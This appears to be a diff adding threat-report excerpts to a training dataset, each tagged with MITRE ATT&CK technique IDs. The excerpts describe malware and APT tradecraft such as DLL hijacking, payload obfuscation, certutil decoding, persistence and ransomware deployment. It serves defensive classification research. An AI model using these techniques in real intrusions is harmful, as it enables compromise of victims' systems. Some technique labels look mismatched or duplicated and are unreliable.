+The function will then download an encrypted file containing the final payload used in the campaign. The file is encrypted with a custom XOR-based algorithm, with the key 0x0AE2. In the latest versions, the authors moved from encryption to using a base64-encoded ZIP file	['T1027']
+When the persistence operation finishes, the loader deletes itself by writing a batch file in the Windows temporary folder with the file name prefix ‘tmp’ followed by random digits. The batch file content	['T1070.004']
+We also observed a third approach used by a malicious document file to deliver Hancitor. Although the threat actor and command and control servers are similar to the second Hancitor delivery approach, this one uses an alternate tactic to reach its goal of data theft	['T1027']
+As we mentioned, the Bad Rabbit ransomware encrypts a victim’s files and disk. Files are encrypted with the following algorithms	['T1486']
+If opened, the dropper runs a loader known as Trojan.Vcrodat on the computer. Whitefly has consistently used a technique known as search order hijacking to run Vcrodat. If no path is provided, Windows searches for the DLL in specific locations on the computer in a pre-defined order. Attackers can therefore give a malicious DLL the same name as a legitimate DLL but place it ahead of the legitimate version in the search order so that it will be loaded when Windows searches for it. Whitefly frequently delivers Vcrodat as a malicious DLL that has the same name as DLLs belonging to legitimate software from various security vendors. The group leverages search order hijacking to assure that its malicious DLLs will be executed. Targeting security applications could allow the attackers to gain higher privileges for the malware, since the vendor’s component may be run with elevated privileges	['T1574.001']
+This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1059.003']
+2) The directory “out” is created in the user’s %AppData% folder. 5) The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed. 6) In one instance, DHS observed an “out.zip” file created	['T1074.001']
+Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. Further, CARBON SPIDER frequently conducted hypervisor jackpotting by encrypting ESXi servers using a version of Darkside specifically designed for ESXi	['T1486']
+MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. Once installed, the malware checks for the existence of two files: keyword_parm.txt and parm.txt and attempts to read the configuration files every 30 seconds	['T1070.004']
+OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents	['T1027.002']
+The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows	['T1140']
+Cobalt Strike. Use scheduled tasks and batch files for automation. The use of LOLBins. Erasing Windows Event Logs, files and tasks	['T1053.005']
+In the detected attack, the Ragnar Locker actors used a GPO task to execute Microsoft Installer (msiexec.exe), passing parameters to download and silently install a 122 MB crafted, unsigned MSI package from a remote web server. The primary contents of the MSI package were	['T1218.007']
+Then, it modifies the Team Viewer registry settings. As we said, the Team Viewer components used in this campaign are not the original ones. They are slightly modified. The malware author replaced all the entries of “Teamviewer” strings in Team Viewer components. TeamViewer client registry settings are then HKLMSoftwareGoldstagerVersion5 and HKLMSoftwareCoinstagerVersion5 correspondingly. The launcher sets up several registry values that control how the remote access tool will work. This parameter represents a hash of the password with which a remote user has to connect to Team Viewer client. After that, the starter executes the very Team Viewer client netsvcs.exe	['T1219']
+Fake domains . Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. The attackers then used this fake website, which they hosted on a domain that was nearly identical to its legitimate counterpart, to distribute ObliqueRAT. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. Malicious file-sharing domains . Transparent Tribe also regularly registers domains that appear to be legitimate file- and media-sharing services. Lures and targeting . Transparent Tribe uses a variety of themes in their lures that evolved over time. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Conference attendees . Transparent Tribe also finds attendees of specific conferences to target. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites	['T1583.001']
+AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details. OverWatch threat hunters also observed an attempt to discover and stop a third-party endpoint detection and response (EDR) service	['T1562.001', 'T1007', 'T1518.001']
+Konni malware family use a custom base64 key to encode the content of several files in the exfiltration phase. We observed the same flow of data reconnaissance and exfiltration across all campaigns	['T1132.001']
+Another interesting finding is that Bazar Loader has now implemented a Domain Generation Algorithm using the current date as a seed	['T1568.002']
+Once the skimmer has the credit card details, it serializes the copied data into a string and encodes it with Base64. Then, it performs a character permutation on the encoded string to make sure it can’t be directly decoded with Base64 decoding	['T1560.003']
+The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github	['T1564.001']
+UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note	['T1204.001', 'T1598.003']
+Xbash is data-destructive; destroying Linux-based databases as part of its ransomware capabilities. We can also find NO functionality within Xbash that would enable restoration after the ransom is paid	['T1485']
+The CoinTicker app also creates a user launch agent, named .espl.plist, that runs the same command periodically	['T1543.001']
+This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on. More information about the Load registry key may be found here	['T1547.001']
+The 'ssonsvr.exe' file is a legitimate Citrix executable that will be used to sideload the malicious ‘pnipcn.dll’ file	['T1574.002']
+1) Writes itself to %AppData%\Microsoft\Word\log.ps1 2) Sets up persistence for this file, using a run key. 6) Removes all registry entries that are left behind during the dropper process	['T1070.004']
+"The process identifiers or PIDs to be hidden are stored in the shared memory ""Global\<computer_name>."" If the shared memory doesn't exist, it takes the PID embedded by the first-stage shellcode. In this case, the intention of the malicious code is to hide Waterbear’s backdoor activities from the security product. Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode"	['T1055.003']
+Analysis of the F.bmp image revealed that it is indeed using Least Significant Bit (LSB) Steganography [9,10], a commonly used form of steganography that embeds data in an image without significantly affecting its appearance	['T1001.002']
+Smoke Loader not only installs its original sample but also replaces it with a fresh version, which is downloaded from the C&C – path: http://<CnC address>/system32.exe. This trick makes detection more difficult – updated samples are repacked by a different crypter, may also have their set of C&Cs changed	['T1105']
+The MainConnectionIo function checks if the Windows Firewall is enabled, sets the Tcp Keep Alive value and Non-blocking mode connection options and receives data from the remote host through the ReceiveCommandData function. If the communication fails, ZxShell disables the firewall by modifying the registry key	['T1562.004']
+Payloads are now hosted on compromised websites. The payloads hosted on these websites consist of seemingly benign BMP image files. The malicious macros download the images and the ObliqueRAT payload is extracted to disk. The ObliqueRAT payload is renamed with the .pif file extension	['T1027.003']
+Since version 0.4.1 Creates a new Primary Refresh Token (PRT) as JWT to be used to sign-in as the user	['T1606.002']
+PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower	['T1041']
+Also, the postinstall script moves the .CrashReporter program to a new location /Library/JMTTrader/CrashReporter and makes it executable. Because the LaunchDaemon will not run automatically after the plist file is moved, the postinstall script launches CrashReporter with the Maintain parameter and runs it in the background (Create or Modify System Process: Launch Daemon [T1543.004	['T1059.004']
+The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named “readme.png”; this PNG file has one of the malicious modules embedded in it. It then executes GetNumberOfMethods and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github	['T1102.002']
+The bot attempts to create a MUTEX using the value of variable “VL” to ensure that only one instance of the bot is running. The bot will proceed to create a copy of itself as %TEMP%/svchost.exe, execute that file, and terminate itself. The newly executed copy will create an autostart registry key to ensure persistence upon system reboot	['T1547.001']
+We will discuss the Spark backdoor’s functionality in detail later in this blog, but this specific sample has the following configuration	['T1027.002']
+The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript, which allows the cybercriminals to understand the context of the infected workstation. This module mainly relies on WMI and Windows objects to deliver results, which will be sent back to the operators	['T1124', 'T1082', 'T1069.002']
+"Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource. The payload is downloaded from the following location and saved to ""%PUBLIC%\svchost32.exe"	['T1059.003', 'T1059.001']
+The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English	['T1562.004', 'T1098']
+As we can see, the flow is obfuscated. But in Pony this technique is used in more sophisticated way because there are some junk instructions added between the PUSH and the RET in addition to a never executed bogus conditional jump	['T1027']
+Screenshot: takes system screenshots and saves them to %AppData% before sending them to the C2 via a POST request	['T1113']
+If nothing like that is detected, the malware will decrypt the third stage and execute it by using the process hollowing technique, commonly used by malware authors. In this version, the payloads are encrypted with the same XOR-based algorithm as the one used in previous versions, however in this latest version, the payload is encrypted twice, with different keys	['T1027', 'T1497.001']
+As mentioned in the table above, version 3 has two forms - one is an independent executable, and the other is a loader that loads a DLL from the resources section and executes it. Even before doing any static / dynamic analysis, we can use VirusTotal to determine that the resources section probably contains more data, in this case an encrypted DLL that is loaded into memory	['T1055.001']
+As noted, there are two distinct variants of ServHelper: a “tunnel” variant and a “downloader” variant. The “downloader” variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader	['T1021.001']
+BoomBox proceeds to upload the data above (masquerading as a PDF file) to a dedicated-per-victim-system folder in Dropbox. For demonstration purposes, an example HTTP(s) POST request used to upload the file/data to Dropbox is included below	['T1567.002']
+Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol - Commonly used port: the attackers used common ports such as port 443 for control server communications - Service execution: registers the implant as a service on the victim’s machine - Automated collection: the implant automatically collects data about the victim and sends it to the control server - Data from local system: local system is discovered and data is gathered - Process discovery: implants can list processes running on the system - System time discovery: part of the data reconnaissance method, the system time is also sent to the control server - File deletion:: malware can wipe files indicated by the attacker	['T1124', 'T1119', 'T1041']
+The backdoor also collects some rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings	['T1016', 'T1082']
+The exact date when the malware was compiled is unknown – the recent wrapper DLL samples were tampered with by the malware authors, with the PE timestamps manually set to zero values. However, during our research, we found an earlier version of the malware with a PE timestamp reading Oct 13, 2013, so the compilation date of the later version is almost surely more recent	['T1070.006']
+PowerShell Cobalt Strike Beacon - New payload + new C2 domain - PowerShell Obfuscator - All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannon’s GitHub project. Using this tool, the attackers could overcome a password reset. Customized Windows Credentials Dumper - A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading. The attackers specifically used it to obtain Outlook passwords. Customized Outlook Credentials Dumper - Inspired by known Outlook credentials dumpers. Mimikatz - PowerShell and Binary versions, with multiple layers of obfuscation	['T1003.001']
+Any other command that doesn’t fit the above patterns will be forwarded and processed as an argument to ‘cmd.exe /c’ and run via the ‘ShellExecuteW’ API. Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command	['T1106']
+"The malware uses the AMAP SDK to get accurate location of infected devices by GPS, mobile network (such as base stations), WiFi and other information. MobileOrder acts on instructions provided by its C2 server, which it communicates with over TCP port 3728. All C2 communications are encrypted with the AES algorithm using a key generated by computing five MD5 hashes starting with the key ""1qazxcvbnm"", and adding a salt value of “.)1/” in each iteration"	['T1082']
+In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine. Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again, as can be seen in Figure 4. If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function, as illustrated in Figure 6. The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable. The purpose of this is to further avoid being detected by a certain cybersecurity solution	['T1027.005']
+The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request	['T1033']
+Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below	['T1036']
+It then executes a new instance of itself in a new process. Also, it will remove the original file via the following command that is executed in a batch script named 'date.bat	['T1059.003', 'T1059.003']
+The last one is used by this setup, and in this mode the ransomware encrypts the files on all available mapped network drives	['T1486', 'T1564.006']
+The library used to hide Winnti’s system activity is a copy of the open-source userland rootkit Azazel¹⁰, with minor changes. When executed, it will register symbols for multiple commonly used functions, including: open(), rmdir(), and unlink(), and modify their returns to hide the malware’s operations	['T1014']
+The arp.exe command is used to display and modify entries in the Address Resolution Protocol (ARP) cache. Adversaries may attempt to use the command to discover remote systems they could compromise	['T1018']
+We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related. The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. These attacks have also been tracked by several other researchers on Twitter and elsewhere. The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries	['T1027', 'T1027']
+FlawedGrace creates, encrypts, and stores a configuration file containing the C&C IPs and ports in a “<hex digits>.dat” file (e.g. C:\ProgramData\21851a60.dat”). The first 16 bytes of the file are an AES initialization vector (IV). The rest of the data is AES-encrypted in CBC mode	['T1027']
+Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies	['T1539']
+Once the threat actor mapped the network and obtained credentials (through net use), they began to move laterally. The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets	['T1047']
+In March 2016, a financially motivated threat actor launched several tailored spear phishing campaigns primarily targeting the retail, restaurant, and hospitality industries. The emails contained variations of Microsoft Word documents with embedded macros that, when enabled, downloaded and executed a malicious downloader that we refer to as PUNCHBUGGY	['T1566.001']
+Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. It starts from the tenth byte in the data section of the initial TCP POST request. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. We determined that the binary was packed because we did not see the C2 URL or any signs of being an information stealer (such as an applications list) in the binary strings and resources	['T1555']
+Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. This backdoor can only execute additional PowerShell scripts. It writes the command results in another OneDrive subfolder and encrypts it with the XOR key 0xAA	['T1059.001']
+During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it	['T1072']
+Through the use of this platform, the operator was able to monitor and manage various compromised email accounts simultaneously	['T1586.002']
+As seen in Figure 7, this .NET executable uses a GitHub repository to obtain and execute a downloader. This repository is now gone, but we were able to download a copy of it while it was still available	['T1102']
+Along with the change to using a DLL, Qbot also changed where it stores configuration information on the infected host. Earlier versions of Qbot stored this data within a DAT file in the same randomly named folder as the malicious binary. As of late 2020, this data is now stored in the registry, under a randomly named subkey under HKCU\Software\Microsoft. While this move to the registry keeps things a bit more hidden from prying eyes, in both cases the presence of a randomly named value under the Microsoft folder/key should be cause to investigate	['T1112']
+Mandiant has created a task force & initiated a Global Event to track the Russian invasion of Ukraine. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns. On execution, the PowerShell command extracted and executed the Cobalt Strike BEACON backdoor and decoy PDF. For example, the use of 'FromBase'+0x40+'String', in place of FromBase64String, the PowerShell command used to decode base64. The decoded command consisted of additional PowerShell that read the content of ds7002.lnk from offset 0x5e2be to offset 0x623b6, base64 decoded the extracted content, and executed it as additional PowerShell content	['T1059.001']
+"The Emissary configuration is now encrypted using a custom algorithm that uses the ""srand"" function to seed the ""rand"" function using a value of 2563. This seed value causes the ""rand"" function to generate the same values each time, which Emissary will use as a key along with the XOR operation. The configuration now contains the version number of Emissary, instead of the version being hardcoded into the Trojan"	['T1027']
+Actors behind Agent Tesla campaigns have also used malicious Office documents to facilitate first-stage delivery. Specially-crafted documents, exploiting Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570, have been leveraged, even in present day campaigns. These and similar exploits allow for quick delivery and execution with minimal user interaction (beyond opening the malicious documents and allowing active content to proceed	['T1203']
+The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server	['T1074.001']
+Using previously stolen credentials the attacker logged into a domain controller and copied tools into the %TEMP% directory. Copied tools included AdFind.exe (Active Directory enumeration utility), a batch script (Figure 2), and a copy of the 7-Zip archive utility. Downloaded utilities were copied to C:\Windows\SysWOW64\. - The attacker performed host and network reconnaissance using built-in Windows commands. AdFind.exe was executed using the previously noted batch script, which was crafted to pass the utility a series of commands that were used to collect information about Active Directory users, systems, OUs, subnets, groups, and trust objects. The output from each command was saved to an individual text file alongside the AdFind.exe utility (Figure 2). - This process was performed twice on the same domain controller, 10 hours apart. Between executions of Adfind the attacker tested access to multiple domain controllers in the victim environment, including the one later used to deploy Ryuk. The attacker logged into a domain controller and copied instances of PSExec.exe, a batch script used to kill processes and stop services, and an instance of Ryuk onto the system. Using PsExec the attacker copied the process/service killing batch script to the %TEMP% folder on hundreds of computers across the victim environment, from which it was then executed. The attacker then used PsExec to copy the Ryuk binary to the %SystemRoot% directories of these same computers	['T1018']
+Summary In the past few months, Unit 42 has observed the Patchwork group, alternatively known as Dropping Elephant and Monsoon, conducting campaigns against targets located in the Indian subcontinent. Patchwork threat actors utilized a pair of EPS exploits rolled into legitimate, albeit malicious, documents in order to propagate their updated BADNEWS payload. The use of weaponized legitimate documents is a longstanding operational standard of this group. The BADNEWS malware payload, which these malicious documents ultimately deliver, has been updated since the last public report in December 2017. These changes to BADNEWS, as well as the use of recent EPS-based exploits, demonstrate that the group are actively updating their toolsets in efforts to stay ahead of the security community. In this posting, we detail our findings and document these changes. Delivery The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities. Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability, however in late January 2018 when, paradoxically, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability. The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below	['T1203']
+1) Brute-force using a pre-defined list of usernames and passwords in an attempt to login to Admin panels	['T1110.001']
+Sakula obfuscates many of its strings using single-byte XOR obfuscation. Samples with a 2012 compile timestamp use a key value of either 0x88 or 0x56. Samples compiled in 2013 and 2014 use a key value of 0x56, while the lone 2015 sample uses 0x57	['T1027']
+We euphemistically refer to the bit fiddling function in the interest of brevity. Looking through it, we see calls to Windows APIs to acquire a cryptographic context provider and generate random bytes. It’s likely this is being used for an inlined crypto implementation and byte overwriting, but the mechanism isn’t entirely clear at this time	['T1106']
+A base working directory will contain the files/folders related to Carbon. This directory is chosen randomly among the folders in %ProgramFiles% but excluding “WindowsApps	['T1074.001']
+Kimsuky employs a wide variety of malware such as Gold Dragon, Babyshark, Appleseed, etc. The module meant for exfiltrating files from the endpoint uses a distinct filepath list specified by the threat actors.Organizations must remain vigilant against motivated adversaries that conduct targeted attacks	['T1583.006']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. DGet — This simple downloader (see Figure 4) is similar to the wget web server retrieval tool. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use downloaders or other malware to send the new list to a compromised host. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1105']
+The goal of targeting some victims appears to be to obtain data. How this data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve data from memory of systems where such data is typically processed	['T1119']
+SUNSPOT was identified on disk with a filename of taskhostsvc.exe (SHA256 Hash: c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168), and internally named taskhostw.exe by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots	['T1036.005', 'T1053.005']
+The downloaded file named install_flash_player.exe needs to be manually launched by the victim. To operate correctly, it needs elevated administrative privileges which it attempts to obtain using the standard UAC prompt. If started, it will save the malicious DLL as C:Windowsinfpub.dat and launch it using rundll32	['T1218.011']
+The data is encrypted using a series of XOR and addition operations, followed by decompression using the ZLIB library	['T1573.001']
+If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them. If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes	['T1087.002']
+The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder. The macro sleeps for two seconds and then executes the newly dropped executable. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. We believe Sofacy used this tool, as the macro within their delivery document closely resembles the macros found within Luckystrike. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload	['T1140']
+The first thing this malware does is it copies itself to the startup directory for persistence	['T1547.001']
+In this blog post, we provide an in-depth analysis of Linux/Ebury. It is a sophisticated backdoor used to steal OpenSSH credentials and maintain access to a compromised server. According to previous reports, this backdoor has been in the wild for at least two years. Linux/Ebury comes in two different shapes: a malicious library and a patch to the main OpenSSH binaries. The malicious library is a modified version of libkeyutils.so. This shared library is loaded by all OpenSSH executables files such as ssh, sshd and ssh-agent. We will describe how the backdoor works and how the OpenSSH functionalities are hooked	['T1554']
+"Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. The victim is encouraged to click on an embedded URL hosted on sharingmymedia[.]com, which then downloads ObliqueRAT, the trojan discovered by Talos in 2020 associated with threat activity targeting entities in South Asia. We cannot confirm how the maldocs were delivered to victims, but we suspect they were probably sent as attachments to phishing emails based on previous threat actor behavior and the targeted nature of this particular lure. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. In such cases, adversaries would deliver phishing maldocs to targets containing a malicious VBA macro that extracted either the CrimsonRAT executable or a ZIP archive embedded in the maldoc. The macro dropped the implant to the disk, setting up persistence mechanisms and eventually executing the payload on the infected endpoint. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Figure 2 shows the attackers' use of HTTrack, a free website copier program, to duplicate a legitimate website to use for their own malicious purposes. These examples highlight Transparent Tribe's heavy reliance on social engineering as a core TTP and the group's efforts to make their operations appear as legitimate as possible.Figure 2: Fake website cloned using HTTrack on May 29, 2020. The malicious domain prompts the victim to enter their name and email address to sign up and download a seemingly important ""guide on pay and allowance"	['T1608.004']
+It uses the string 5cd8f17f4086744065eb0992a09e05a2 as its mutex as well as its registry hive in the affected machine. It uses the value tcpClient_0 as its HTTP server, where it will receive all stolen information from the infected machine. However, since the value was set to null, all stolen information will be sent to the same C&C server	['T1041']
+The recording of audio data from the internal microphone is also rather new. Of course, other malware exists which can record audio, but key here is Flame’s completeness – the ability to steal data in so many different ways	['T1123']
+PipeMon’s first stage consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher. Once written to disk, the RARSFX is executed with CreateProcess by providing the decryption password in an argument, as follows	['T1106']
+Finally, after the initial beaconing, receiving a configuration, and exfiltrating stolen information from the infected machine, AZORult may download the next payload. For example, in the campaign described at the beginning of this post, AZORult downloads Hermes 2.1 ransomware after it exfiltrates the victim’s data and credentials	['T1105']
+While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document, as seen in Figure 1. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object	['T1497.002']
